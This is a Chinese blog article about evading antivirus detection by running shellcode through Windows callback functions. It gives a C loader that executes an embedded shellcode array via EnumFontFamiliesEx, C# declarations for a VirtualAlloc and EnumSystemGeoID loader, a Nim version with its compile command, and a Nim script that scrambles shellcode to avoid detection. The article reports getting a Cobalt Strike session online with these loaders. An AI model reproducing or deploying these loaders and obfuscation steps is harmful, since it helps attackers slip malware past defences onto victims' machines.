前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >免杀tips:回调函数的魅力

免杀tips:回调函数的魅力

作者头像
鸿鹄实验室
发布2021-04-29 17:26:22
1.6K0
发布2021-04-29 17:26:22
举报
文章被收录于专栏:鸿鹄实验室鸿鹄实验室

正值某大型活动期间,于是水一篇文章,来聊聊最近大家比较喜欢的利用回调函数来进行免杀这个小tips。

如果你之前接触过编程语言,就一定会对回调函数(callback)有所了解,因为前人已对这些东西有过详细的介绍,所以这里不再过多赘述,不明白的可以参考MicroPest师傅的这两篇文章,里面详细的介绍了回调函数以及回调函数来进行shellcode执行的方法:https://my.oschina.net/u/4079523/blog/5011400、https://my.oschina.net/u/4079523/blog/5011399而回调函数也即下图所示:

那么一个比较直接的例子就是:

代码语言:javascript
复制
#include <Windows.h>
/*
 * https://osandamalith.com - @OsandaMalith
 */
  int main() {
  int shellcode[] = {
    015024551061,014333060543,012124454524,06034505544,
    021303073213,021353206166,03037505460,021317057613,
    021336017534,0110017564,03725105776,05455607444,
    025520441027,012701636201,016521267151,03735105760,
    0377400434,032777727074
  };
  DWORD oldProtect = 0;
  BOOL ret = VirtualProtect((LPVOID)shellcode, sizeof shellcode, PAGE_EXECUTE_READWRITE, &oldProtect);

  EnumFontFamiliesEx(GetDC(0), 0, (FONTENUMPROC)(char*)shellcode, 0, 0);
}

而这样做的好处就是我们避免了一下敏感函数的使用,比如内存分配的:malloc(),virtualalloc(),heapalloc()的调用,更好的防止被安全软件所查杀。

但是C/C++的此类用法已经被大家所熟知了,效果自然也就慢慢的不好了,所以下面我们将它改造成Csharp版本和Nim版本,来提高我们的免杀效果。首先是Csharp版本。这里选择的api为EnumSystemGeoID,其函数原型如下:

代码语言:javascript
复制
BOOL EnumSystemGeoID(
  GEOCLASS     GeoClass,
  GEOID        ParentGeoId,
  GEO_ENUMPROC lpGeoEnumProc
);

注:使用该api无法避免virtualalloc的使用,其api调用链如下:

代码语言:javascript
复制
virtualalloc ---> memcpy --->  EnumSystemGeoID

按照之前的文章所说,我们还是需要先进行api的调用:

代码语言:javascript
复制
        [DllImport("kernel32")]
        public static extern IntPtr VirtualAlloc(IntPtr lpStartAddr, uint size, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll", EntryPoint = "EnumSystemGeoID")]
        [return: MarshalAs(UnmanagedType.Bool)]
        public static extern bool EnumSystemGeoID(uint GeoClass, int ParentGeoId, IntPtr lpGeoEnumProc);

下面就是函数的使用了,即分配内存、复制shellcode、回调。

执行后cs上线。因为原生shellcode的问题,效果肯定不好,这里可以根据自己的需要进行shellcode的混淆等,混淆后编译,最终的查杀效果如下:

然后就是最近比较火的nim了,nim的windows调用依赖于第三方库,我们可以这样调用它。

代码语言:javascript
复制
import winim/lean

然后就是一样的api的调用了,这里就仅仅展示一下VirtualAlloc吧:

代码语言:javascript
复制
        let rPtr = VirtualAlloc(
            nil,
            cast[SIZE_T](shellcode.len),
            MEM_COMMIT,
            PAGE_EXECUTE_READ_WRITE
        )

编译

代码语言:javascript
复制
nim cc -d=release --opt=size .\callback.nim

执行,成功上线。通用查看查杀率:

shellcode的加密可以参考:

代码语言:javascript
复制
var dict = toSeq(0..255).mapIt(it.uint8)
randomize()
dict.shuffle()

let entireFile = readFile(paramStr(1)).mapIt(it.uint8)
var finallTable = newSeq[uint8](entireFile.len)
for i in 0..high(entireFile):
    for k in 0..high(dict):
        if entireFile[i] == dict[k]:
            finallTable[i] = k.uint8
let result = encode(concat(dict,finallTable))
echo result

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-04-17,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 鸿鹄实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档